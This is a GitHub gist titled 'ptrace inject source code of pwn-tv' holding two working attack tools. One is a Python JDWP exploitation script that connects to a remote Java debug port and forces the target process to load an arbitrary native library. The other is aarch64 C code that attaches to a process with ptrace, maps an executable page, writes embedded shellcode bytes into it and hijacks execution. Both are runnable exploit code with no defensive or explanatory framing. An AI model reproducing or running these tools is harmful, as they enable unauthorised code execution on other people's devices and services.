Last active
November 21, 2023 15:28
-
-
Save 5ec1cff/0cb045c79d78aa02f927edfc54be5ade to your computer and use it in GitHub Desktop.
ptrace inject source code of pwn-tv
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
################################################################################ | |
# | |
# Universal JDWP shellifier | |
# | |
# @_hugsy_ | |
# | |
# And special cheers to @lanjelot | |
# https://github.com/IOActive/jdwp-shellifier/blob/e82ec26193861ba58179aae7f3fa93654b7abc8a/jdwp-shellifier.py | |
import socket | |
import time | |
import sys | |
import struct | |
import urllib | |
import argparse | |
import traceback | |
import threading | |
################################################################################ | |
# | |
# JDWP protocol variables | |
# | |
HANDSHAKE = b"JDWP-Handshake" | |
REQUEST_PACKET_TYPE = 0x00 | |
REPLY_PACKET_TYPE = 0x80 | |
# Command signatures | |
VERSION_SIG = (1, 1) | |
CLASSESBYSIGNATURE_SIG = (1, 2) | |
ALLCLASSES_SIG = (1, 3) | |
ALLTHREADS_SIG = (1, 4) | |
IDSIZES_SIG = (1, 7) | |
CREATESTRING_SIG = (1, 11) | |
SUSPENDVM_SIG = (1, 8) | |
RESUMEVM_SIG = (1, 9) | |
SIGNATURE_SIG = (2, 1) | |
FIELDS_SIG = (2, 4) | |
METHODS_SIG = (2, 5) | |
GETVALUES_SIG = (2, 6) | |
CLASSOBJECT_SIG = (2, 11) | |
INVOKESTATICMETHOD_SIG = (3, 3) | |
REFERENCETYPE_SIG = (9, 1) | |
INVOKEMETHOD_SIG = (9, 6) | |
STRINGVALUE_SIG = (10, 1) | |
THREADNAME_SIG = (11, 1) | |
THREADSUSPEND_SIG = (11, 2) | |
THREADRESUME_SIG = (11, 3) | |
THREADSTATUS_SIG = (11, 4) | |
EVENTSET_SIG = (15, 1) | |
EVENTCLEAR_SIG = (15, 2) | |
EVENTCLEARALL_SIG = (15, 3) | |
# Other codes | |
MODKIND_COUNT = 1 | |
MODKIND_THREADONLY = 2 | |
MODKIND_CLASSMATCH = 5 | |
MODKIND_LOCATIONONLY = 7 | |
EVENT_BREAKPOINT = 2 | |
SUSPEND_EVENTTHREAD = 1 | |
SUSPEND_ALL = 2 | |
NOT_IMPLEMENTED = 99 | |
VM_DEAD = 112 | |
INVOKE_SINGLE_THREADED = 2 | |
TAG_OBJECT = 76 | |
TAG_STRING = 115 | |
TYPE_CLASS = 1 | |
TAG_BOOLEAN = 90 | |
################################################################################ | |
# | |
# JDWP client class | |
# | |
class JDWPClient: | |
def __init__(self, host, port=8000): | |
self.host = host | |
self.port = port | |
self.methods = {} | |
self.fields = {} | |
self.id = 0x01 | |
return | |
def create_packet(self, cmdsig, data=b""): | |
flags = 0x00 | |
cmdset, cmd = cmdsig | |
pktlen = len(data) + 11 | |
pkt = struct.pack(">IIccc", pktlen, self.id, chr(flags).encode(), chr(cmdset).encode(), chr(cmd).encode()) | |
pkt += data | |
self.id += 2 | |
return pkt | |
def read_reply(self): | |
header = self.socket.recv(11) | |
# size1 = struct.calcsize(">IIcH") | |
# size2 = len(header) | |
# print(" size1 = %d size2 = %d" % (size1, size2)) | |
pktlen, id, flags, errcode = struct.unpack(">IIcH", header) | |
if flags[0] == REPLY_PACKET_TYPE: | |
if errcode: | |
raise Exception("Received errcode %d" % errcode) | |
buf = b"" | |
while len(buf) + 11 < pktlen: | |
data = self.socket.recv(1024) | |
if len(data): | |
buf += data | |
else: | |
time.sleep(1) | |
return buf | |
def parse_entries(self, buf, formats, explicit=True): | |
entries = [] | |
index = 0 | |
if explicit: | |
nb_entries = struct.unpack(">I", buf[:4])[0] | |
buf = buf[4:] | |
else: | |
nb_entries = 1 | |
for i in range(nb_entries): | |
data = {} | |
for fmt, name in formats: | |
if fmt == "L" or fmt == 8: | |
data[name] = int(struct.unpack(">Q", buf[index:index + 8])[0]) | |
index += 8 | |
elif fmt == "I" or fmt == 4: | |
data[name] = int(struct.unpack(">I", buf[index:index + 4])[0]) | |
index += 4 | |
elif fmt == 'S': | |
l = struct.unpack(">I", buf[index:index + 4])[0] | |
data[name] = buf[index + 4:index + 4 + l] | |
index += 4 + l | |
elif fmt == 'C': | |
data[name] = ord(struct.unpack(">c", bytes([buf[index]]))[0]) | |
index += 1 | |
elif fmt == 'Z': | |
t = ord(struct.unpack(">c", buf[index])[0]) | |
if t == 115: | |
s = self.solve_string(buf[index + 1:index + 9]) | |
data[name] = s | |
index += 9 | |
elif t == 73: | |
data[name] = struct.unpack(">I", buf[index + 1:index + 5])[0] | |
buf = struct.unpack(">I", buf[index + 5:index + 9]) | |
index = 0 | |
else: | |
raise Exception("???") | |
entries.append(data) | |
return entries | |
def format(self, fmt, value): | |
if fmt == "L" or fmt == 8: | |
return struct.pack(">Q", value) | |
elif fmt == "I" or fmt == 4: | |
return struct.pack(">I", value) | |
raise Exception("Unknown format") | |
def unformat(self, fmt, value): | |
if fmt == "L" or fmt == 8: | |
return struct.unpack(">Q", value[:8])[0] | |
elif fmt == "I" or fmt == 4: | |
return struct.unpack(">I", value[:4])[0] | |
else: | |
raise Exception("Unknown format") | |
def start(self): | |
self.handshake(self.host, self.port) | |
self.idsizes() | |
self.getversion() | |
self.allclasses() | |
def handshake(self, host, port): | |
s = socket.socket() | |
try: | |
s.connect((host, port)) | |
except socket.error as msg: | |
raise Exception("Failed to connect: %s" % msg) | |
s.send(HANDSHAKE) | |
if s.recv(len(HANDSHAKE)) != HANDSHAKE: | |
raise Exception("Failed to handshake") | |
else: | |
self.socket = s | |
def leave(self): | |
self.socket.close() | |
def getversion(self): | |
self.socket.sendall(self.create_packet(VERSION_SIG)) | |
buf = self.read_reply() | |
formats = [('S', "description"), ('I', "jdwpMajor"), ('I', "jdwpMinor"), | |
('S', "vmVersion"), ('S', "vmName"), ] | |
for entry in self.parse_entries(buf, formats, False): | |
for name, value in entry.items(): | |
setattr(self, name, value) | |
@property | |
def version(self): | |
return "%s - %s" % (self.vmName, self.vmVersion) | |
def idsizes(self): | |
self.socket.sendall(self.create_packet(IDSIZES_SIG)) | |
buf = self.read_reply() | |
formats = [("I", "fieldIDSize"), ("I", "methodIDSize"), ("I", "objectIDSize"), | |
("I", "referenceTypeIDSize"), ("I", "frameIDSize")] | |
for entry in self.parse_entries(buf, formats, False): | |
for name, value in entry.items(): | |
setattr(self, name, value) | |
def allthreads(self): | |
try: | |
getattr(self, "threads") | |
except: | |
self.socket.sendall(self.create_packet(ALLTHREADS_SIG)) | |
buf = self.read_reply() | |
formats = [(self.objectIDSize, "threadId")] | |
self.threads = self.parse_entries(buf, formats) | |
finally: | |
return self.threads | |
def get_thread_by_name(self, name): | |
self.allthreads() | |
for t in self.threads: | |
threadId = self.format(self.objectIDSize, t["threadId"]) | |
self.socket.sendall(self.create_packet(THREADNAME_SIG, data=threadId)) | |
buf = self.read_reply() | |
if len(buf) and name == self.readstring(buf): | |
return t | |
return None | |
def allclasses(self): | |
try: | |
getattr(self, "classes") | |
except: | |
self.socket.sendall(self.create_packet(ALLCLASSES_SIG)) | |
buf = self.read_reply() | |
formats = [('C', "refTypeTag"), | |
(self.referenceTypeIDSize, "refTypeId"), | |
('S', "signature"), | |
('I', "status")] | |
self.classes = self.parse_entries(buf, formats) | |
return self.classes | |
def get_class_by_name(self, name): | |
for entry in self.classes: | |
if entry["signature"] == name: | |
return entry | |
return None | |
def get_methods(self, refTypeId): | |
if refTypeId not in self.methods: | |
refId = self.format(self.referenceTypeIDSize, refTypeId) | |
self.socket.sendall(self.create_packet(METHODS_SIG, data=refId)) | |
buf = self.read_reply() | |
formats = [(self.methodIDSize, "methodId"), | |
('S', "name"), | |
('S', "signature"), | |
('I', "modBits")] | |
self.methods[refTypeId] = self.parse_entries(buf, formats) | |
return self.methods[refTypeId] | |
def get_method_by_name(self, name): | |
for refId in self.methods.keys(): | |
for entry in self.methods[refId]: | |
# print("xiawanli entry[name] = ", entry["name"]) | |
# print("xiawanli entry[signature] = ", entry["signature"]) | |
if entry["name"].lower() == name.lower(): | |
return entry | |
return None | |
def getfields(self, refTypeId): | |
if not self.fields.has_key(refTypeId): | |
refId = self.format(self.referenceTypeIDSize, refTypeId) | |
self.socket.sendall(self.create_packet(FIELDS_SIG, data=refId)) | |
buf = self.read_reply() | |
formats = [(self.fieldIDSize, "fieldId"), | |
('S', "name"), | |
('S', "signature"), | |
('I', "modbits")] | |
self.fields[refTypeId] = self.parse_entries(buf, formats) | |
return self.fields[refTypeId] | |
def getvalue(self, refTypeId, fieldId): | |
data = self.format(self.referenceTypeIDSize, refTypeId) | |
data += struct.pack(">I", 1) | |
data += self.format(self.fieldIDSize, fieldId) | |
self.socket.sendall(self.create_packet(GETVALUES_SIG, data=data)) | |
buf = self.read_reply() | |
formats = [("Z", "value")] | |
field = self.parse_entries(buf, formats)[0] | |
return field | |
def createstring(self, data): | |
buf = self.buildstring(data) | |
self.socket.sendall(self.create_packet(CREATESTRING_SIG, data=buf)) | |
buf = self.read_reply() | |
return self.parse_entries(buf, [(self.objectIDSize, "objId")], False) | |
def buildstring(self, data): | |
return struct.pack(">I", len(data)) + data.encode() | |
def readstring(self, data): | |
size = struct.unpack(">I", data[:4])[0] | |
return data[4:4 + size] | |
def suspendvm(self): | |
self.socket.sendall(self.create_packet(SUSPENDVM_SIG)) | |
self.read_reply() | |
return | |
def resumevm(self): | |
self.socket.sendall(self.create_packet(RESUMEVM_SIG)) | |
self.read_reply() | |
return | |
def invokestatic(self, classId, threadId, methId, *args): | |
data = self.format(self.referenceTypeIDSize, classId) | |
data += self.format(self.objectIDSize, threadId) | |
data += self.format(self.methodIDSize, methId) | |
data += struct.pack(">I", len(args)) | |
for arg in args: | |
data += arg | |
data += struct.pack(">I", 0) | |
self.socket.sendall(self.create_packet(INVOKESTATICMETHOD_SIG, data=data)) | |
buf = self.read_reply() | |
return buf | |
def invoke(self, objId, threadId, classId, methId, *args): | |
data = self.format(self.objectIDSize, objId) | |
data += self.format(self.objectIDSize, threadId) | |
data += self.format(self.referenceTypeIDSize, classId) | |
data += self.format(self.methodIDSize, methId) | |
data += struct.pack(">I", len(args)) | |
for arg in args: | |
data += arg | |
data += struct.pack(">I", 0) | |
self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data)) | |
buf = self.read_reply() | |
return buf | |
def invokeVoid(self, objId, threadId, classId, methId, *args): | |
data = self.format(self.objectIDSize, objId) | |
data += self.format(self.objectIDSize, threadId) | |
data += self.format(self.referenceTypeIDSize, classId) | |
data += self.format(self.methodIDSize, methId) | |
data += struct.pack(">I", len(args)) | |
for arg in args: | |
data += arg | |
data += struct.pack(">I", 0) | |
self.socket.sendall(self.create_packet(INVOKEMETHOD_SIG, data=data)) | |
buf = None | |
return buf | |
def solve_string(self, objId): | |
self.socket.sendall(self.create_packet(STRINGVALUE_SIG, data=objId)) | |
buf = self.read_reply() | |
if len(buf): | |
return self.readstring(buf) | |
else: | |
return "" | |
def query_thread(self, threadId, kind): | |
data = self.format(self.objectIDSize, threadId) | |
self.socket.sendall(self.create_packet(kind, data=data)) | |
buf = self.read_reply() | |
return | |
def suspend_thread(self, threadId): | |
return self.query_thread(threadId, THREADSUSPEND_SIG) | |
def status_thread(self, threadId): | |
return self.query_thread(threadId, THREADSTATUS_SIG) | |
def resume_thread(self, threadId): | |
return self.query_thread(threadId, THREADRESUME_SIG) | |
def send_event(self, eventCode, *args): | |
data = b"" | |
data += chr(eventCode).encode() | |
data += chr(SUSPEND_ALL).encode() | |
data += struct.pack(">I", len(args)) | |
for kind, option in args: | |
data += chr(kind).encode() | |
data += option | |
self.socket.sendall(self.create_packet(EVENTSET_SIG, data=data)) | |
buf = self.read_reply() | |
return struct.unpack(">I", buf)[0] | |
def clear_event(self, eventCode, rId): | |
data = chr(eventCode).encode() | |
data += struct.pack(">I", rId) | |
self.socket.sendall(self.create_packet(EVENTCLEAR_SIG, data=data)) | |
self.read_reply() | |
return | |
def clear_events(self): | |
self.socket.sendall(self.create_packet(EVENTCLEARALL_SIG)) | |
self.read_reply() | |
return | |
def wait_for_event(self): | |
buf = self.read_reply() | |
return buf | |
def parse_event_breakpoint(self, buf, eventId): | |
num = struct.unpack(">I", buf[2:6])[0] | |
rId = struct.unpack(">I", buf[6:10])[0] | |
if rId != eventId: | |
return None | |
tId = self.unformat(self.objectIDSize, buf[10:10 + self.objectIDSize]) | |
loc = -1 # don't care | |
return rId, tId, loc | |
def runtime_exec(jdwp, args): | |
print("[+] Targeting '%s:%d'" % (args.target, args.port)) | |
# print ("[+] Reading settings for '%s'" % jdwp.version) | |
# 1. get Runtime class reference | |
runtime_class = jdwp.get_class_by_name(b"Ljava/lang/Runtime;") | |
if runtime_class is None: | |
print("[-] Cannot find class java.lang.Runtime") | |
return False | |
# print ("[+] Found Runtime class: id=%x" % runtimeClass["refTypeId"]) | |
# 2. get getRuntime() meth reference | |
jdwp.get_methods(runtime_class["refTypeId"]) | |
get_runtime_method = jdwp.get_method_by_name(b"getRuntime") | |
if get_runtime_method is None: | |
print("[-] Cannot find method Runtime.getRuntime()") | |
return False | |
# print ("[+] Found Runtime.getRuntime(): id=%x" % getRuntimeMeth["methodId"]) | |
# 3. setup breakpoint on frequently called method | |
c = jdwp.get_class_by_name(args.break_on_class.encode()) | |
if c is None: | |
print(f"[-] Could not access class '{args.break_on_class}'") | |
print("[-] It is possible that this class is not used by application") | |
print("[-] Test with another one with option `--break-on`") | |
return False | |
jdwp.get_methods(c["refTypeId"]) | |
m = jdwp.get_method_by_name(args.break_on_method.encode()) | |
# m = jdwp.get_method_by_name( "<init>" ) | |
if m is None: | |
print("[-] Could not access method '%s'" % args.break_on) | |
return False | |
loc = chr(TYPE_CLASS).encode() | |
loc += jdwp.format(jdwp.referenceTypeIDSize, c["refTypeId"]) | |
loc += jdwp.format(jdwp.methodIDSize, m["methodId"]) | |
loc += struct.pack(">II", 0, 0) | |
data = [(MODKIND_LOCATIONONLY, loc), ] | |
rId = jdwp.send_event(EVENT_BREAKPOINT, *data) | |
# print ("[+] Created break event id=%x" % rId) | |
# 4. resume vm and wait for event | |
jdwp.resumevm() | |
print("[+] Waiting for an event on '%s'" % args.break_on) | |
while True: | |
buf = jdwp.wait_for_event() | |
ret = jdwp.parse_event_breakpoint(buf, rId) | |
if ret is not None: | |
break | |
rId, tId, loc = ret | |
print("[+] Received matching event from thread %#x" % tId) | |
# time.sleep(1) | |
# jdwp.clear_event(EVENT_BREAKPOINT, rId) | |
# 5. Now we can execute any code | |
if args.loadlib: | |
runtime_load_payload(jdwp, tId, runtime_class["refTypeId"], get_runtime_method["methodId"], args.loadlib) | |
# time.sleep(2) | |
print("[*] Library should now be loaded") | |
jdwp.resumevm() | |
print("[!] Command successfully executed") | |
return True | |
def runtime_load_payload(jdwp: JDWPClient, threadId, runtimeClassId, getRuntimeMethId, library: str): | |
# | |
# This function will run Runtime.load() with library as a payload | |
# | |
# print("[+] Selected payload '%s'" % library) | |
# 1. allocating string containing our command to exec() | |
cmdObjIds = jdwp.createstring(library) | |
if len(cmdObjIds) == 0: | |
print("[-] Failed to allocate library string") | |
return False | |
cmdObjId = cmdObjIds[0]["objId"] | |
# print("[+] Command string object created id:%x" % cmdObjId) | |
# 2. use context to get Runtime object | |
buf = jdwp.invokestatic(runtimeClassId, threadId, getRuntimeMethId) | |
if buf[0] != TAG_OBJECT: | |
print("[-] Unexpected returned type: expecting Object") | |
return False | |
rt = jdwp.unformat(jdwp.objectIDSize, buf[1:1 + jdwp.objectIDSize]) | |
if rt is None: | |
print("[-] Failed to invoke Runtime.getRuntime()") | |
return False | |
# print("[+] Runtime.getRuntime() returned context id:%#x" % rt) | |
# 3. find load() method | |
loadMeth = jdwp.get_method_by_name(b"load") | |
if loadMeth is None: | |
print("[-] Cannot find method Runtime.load()") | |
return False | |
# print("[+] found Runtime.load(): id=%x" % loadMeth["methodId"]) | |
# 4. call exec() in this context with the alloc-ed string | |
data = [chr(TAG_OBJECT).encode() + jdwp.format(jdwp.objectIDSize, cmdObjId)] | |
jdwp.invokeVoid(rt, threadId, runtimeClassId, loadMeth["methodId"], *data) | |
print("[+] Runtime.load(\"%s\") probably successful" % library) | |
return True | |
def str2fqclass(s): | |
i = s.rfind('.') | |
if i == -1: | |
print("Cannot parse path") | |
sys.exit(1) | |
method = s[i:][1:] | |
classname = 'L' + s[:i].replace('.', '/') + ';' | |
return classname, method | |
if __name__ == "__main__": | |
parser = argparse.ArgumentParser(description="Universal exploitation script for JDWP by @_hugsy_", | |
formatter_class=argparse.ArgumentDefaultsHelpFormatter) | |
parser.add_argument("-t", "--target", type=str, metavar="IP", help="Remote target IP", required=True) | |
parser.add_argument("-p", "--port", type=int, metavar="PORT", default=8000, help="Remote target port") | |
parser.add_argument("--break-on", dest="break_on", type=str, metavar="JAVA_METHOD", | |
default="android.os.Handler.dispatchMessage", help="Specify full path to method to break on") | |
parser.add_argument("--loadlib", dest="loadlib", type=str, metavar="LIBRARYNAME", | |
help="Specify library to inject into process load") | |
args = parser.parse_args() | |
classname, meth = str2fqclass(args.break_on) | |
setattr(args, "break_on_class", classname) | |
setattr(args, "break_on_method", meth) | |
retcode = 0 | |
try: | |
cli = JDWPClient(args.target, args.port) | |
cli.start() | |
if runtime_exec(cli, args) == False: | |
print("[-] Exploit failed") | |
retcode = 1 | |
except KeyboardInterrupt: | |
print("[+] Exiting on user's request") | |
except Exception as e: | |
print("[-] Exception: %s" % e) | |
traceback.print_exc() | |
retcode = 1 | |
cli = None | |
finally: | |
if cli: | |
cli.leave() | |
sys.exit(retcode) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <jni.h> | |
#include <unistd.h> | |
#include <stdio.h> | |
#include <sys/wait.h> | |
#include <string.h> | |
#include <fcntl.h> | |
#include <sys/ptrace.h> | |
#include <sys/types.h> | |
#include <sys/mman.h> | |
#include <sys/syscall.h> | |
#include <sys/user.h> | |
#include <sys/wait.h> | |
#include <sys/signal.h> | |
#include "logging.h" | |
#include "pt-inject.h" | |
#if __aarch64__ | |
#define NT_PRSTATUS 1 | |
unsigned char shellcode[] = {32, 2, 128, 210, 225, 3, 31, 170, 226, 3, 31, 170, 227, 3, 31, 170, 228, 3, 31, 170, 136, 27, 128, 210, 1, 0, 0, 212, 31, 0, 0, 113, 108, 2, 0, 84, 14, 238, 142, 210, 206, 205, 165, 242, 110, 14, 205, 242, 238, 15, 31, 248, 238, 133, 140, 210, 46, 140, 174, 242, 46, 236, 197, 242, 142, 237, 237, 242, 111, 44, 140, 210, 143, 237, 165, 242, 143, 174, 205, 242, 15, 238, 229, 242, 238, 63, 191, 169, 224, 3, 0, 145, 225, 3, 31, 170, 226, 3, 31, 170, 168, 27, 128, 210, 1, 0, 0, 212, 0, 0, 32, 212}; | |
void dump_regs(int pid) { | |
struct user_regs_struct regs; | |
struct iovec iov = { | |
.iov_base = ®s, | |
.iov_len = sizeof (struct user_regs_struct), | |
}; | |
ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov); | |
for (int i = 0; i < 31; i++) { | |
LOGI("x%d=%p", i, regs.regs[i]); | |
} | |
LOGI("sp=%p", regs.sp); | |
LOGI("pc=%p", regs.pc); | |
} | |
void inject(int pid) { | |
int status; | |
LOGD("inject into pid %d", pid); | |
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL)) { | |
PLOGE("ptrace init"); | |
return; | |
} | |
if (waitpid(pid, &status, 0)) { | |
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGSTOP) { | |
LOGI("successful to attach!"); | |
} else { | |
LOGD("stopped by other sig: %d", WSTOPSIG(status)); | |
goto exit; | |
} | |
} | |
if (ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACEFORK | PTRACE_O_TRACEVFORK | PTRACE_O_TRACECLONE)) { | |
PLOGE("failed to setoptions"); | |
} | |
struct user_regs_struct regs, regs_backup; | |
struct iovec iov = { | |
.iov_base = ®s, | |
.iov_len = sizeof (struct user_regs_struct), | |
}; | |
LOGD("saving registers"); | |
void * orig_pc; | |
ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov); | |
memcpy(®s_backup, ®s, sizeof(struct user_regs_struct)); | |
LOGD("save orig context"); | |
orig_pc = regs.pc; | |
regs.regs[8] = SYS_mmap; | |
regs.regs[5] = 0; | |
regs.regs[1] = sizeof(shellcode); | |
regs.regs[2] = PROT_READ | PROT_WRITE | PROT_EXEC; | |
regs.regs[3] = MAP_ANONYMOUS | MAP_PRIVATE; | |
regs.regs[4] = 0xffffffff; | |
regs.regs[0] = 0; | |
LOGD("orig pc=%p", orig_pc); | |
LOGD("set registers for syscall"); | |
ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov); | |
long orig_code = ptrace(PTRACE_PEEKDATA, pid, orig_pc, NULL); | |
LOGD("word=%ld", orig_code); | |
ptrace(PTRACE_POKEDATA, pid, orig_pc, 0xd4000001); | |
LOGD("calling mmap"); | |
ptrace(PTRACE_SINGLESTEP, pid, 0, 0); | |
if (waitpid(pid, &status, 0)) { | |
if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { | |
LOGI("called mmap!"); | |
} else { | |
LOGD("stopped by other sig: %d", WSTOPSIG(status)); | |
goto exit; | |
} | |
} | |
ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov); | |
void *ptr = regs.regs[0]; | |
if (ptr < 0) { | |
LOGE("mmap error: %p", ptr); | |
goto exit; | |
} else { | |
LOGD("rwx page: %p", ptr); | |
} | |
ptrace(PTRACE_POKEDATA, pid, orig_pc, orig_code); | |
LOGD("writing shellcode..."); | |
long* codes = (long*) shellcode; | |
for (int i = 0 ; i < ((sizeof(shellcode) + sizeof(long) - 1) / sizeof(long)); i++) { | |
ptrace(PTRACE_POKEDATA, pid, (long*) ptr + i, codes[i]); | |
// LOGD("%d", i); | |
// getchar(); | |
} | |
LOGD("done writing shellcode..."); | |
// getchar(); | |
regs.pc = ptr; | |
ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov); | |
ptrace(PTRACE_CONT, pid, NULL, NULL); | |
while (waitpid(pid, &status, 0)) { | |
if (!WIFSTOPPED(status)) { | |
LOGE("not stopped"); | |
continue; | |
} | |
if (WSTOPSIG(status) == SIGTRAP) { | |
if (status>>8 == (SIGTRAP | (PTRACE_EVENT_FORK<<8))) { | |
LOGI("success to fork!"); | |
int new_pid; | |
if (ptrace(PTRACE_GETEVENTMSG, pid, NULL, &new_pid)) { | |
LOGE("failed to get new pid"); | |
} else { | |
LOGD("new_pid=%d", new_pid); | |
int count = 0; | |
while (waitpid(new_pid, &status, 0)) { | |
/* | |
if (WIFEXITED(status)) { | |
LOGE("child exited"); | |
break; | |
} | |
if (count == 0) { | |
count++; | |
ptrace(PTRACE_CONT, new_pid, NULL, NULL); | |
} else { | |
LOGD("child stopped by sig: %d %s", WSTOPSIG(status), strsignal(WSTOPSIG(status))); | |
siginfo_t sig_info; | |
if (ptrace(PTRACE_GETSIGINFO, new_pid, NULL, &sig_info)) { | |
LOGE("failed to get sig info"); | |
} else { | |
LOGD("fault addr: %p", sig_info.si_addr); | |
} | |
dump_regs(new_pid); | |
getchar(); | |
if (ptrace(PTRACE_DETACH, new_pid, NULL, NULL)) { | |
PLOGE("failed to detach new process"); | |
} else { | |
break; | |
} | |
}*/ | |
if (ptrace(PTRACE_DETACH, new_pid, NULL, NULL)) { | |
PLOGE("failed to detach new process"); | |
} else { | |
break; | |
} | |
} | |
} | |
} else { | |
LOGI("success to inject!"); | |
break; | |
} | |
ptrace(PTRACE_CONT, pid, NULL, NULL); | |
} else { | |
LOGD("stopped by other sig: %d %s", WSTOPSIG(status), strsignal(WSTOPSIG(status))); | |
siginfo_t sig_info; | |
if (ptrace(PTRACE_GETSIGINFO, pid, NULL, &sig_info)) { | |
LOGE("failed to get sig info"); | |
} else { | |
LOGD("fault addr: %p", sig_info.si_addr); | |
} | |
goto exit; | |
} | |
} | |
iov.iov_base = ®s_backup; | |
ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov); | |
exit: | |
LOGD("exiting..."); | |
if (ptrace(PTRACE_DETACH, pid, NULL, NULL)) { | |
PLOGE("PTRACE_DETACH"); | |
} | |
} | |
#else | |
void inject(int pid) { | |
// not implemented | |
} | |
#endif |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment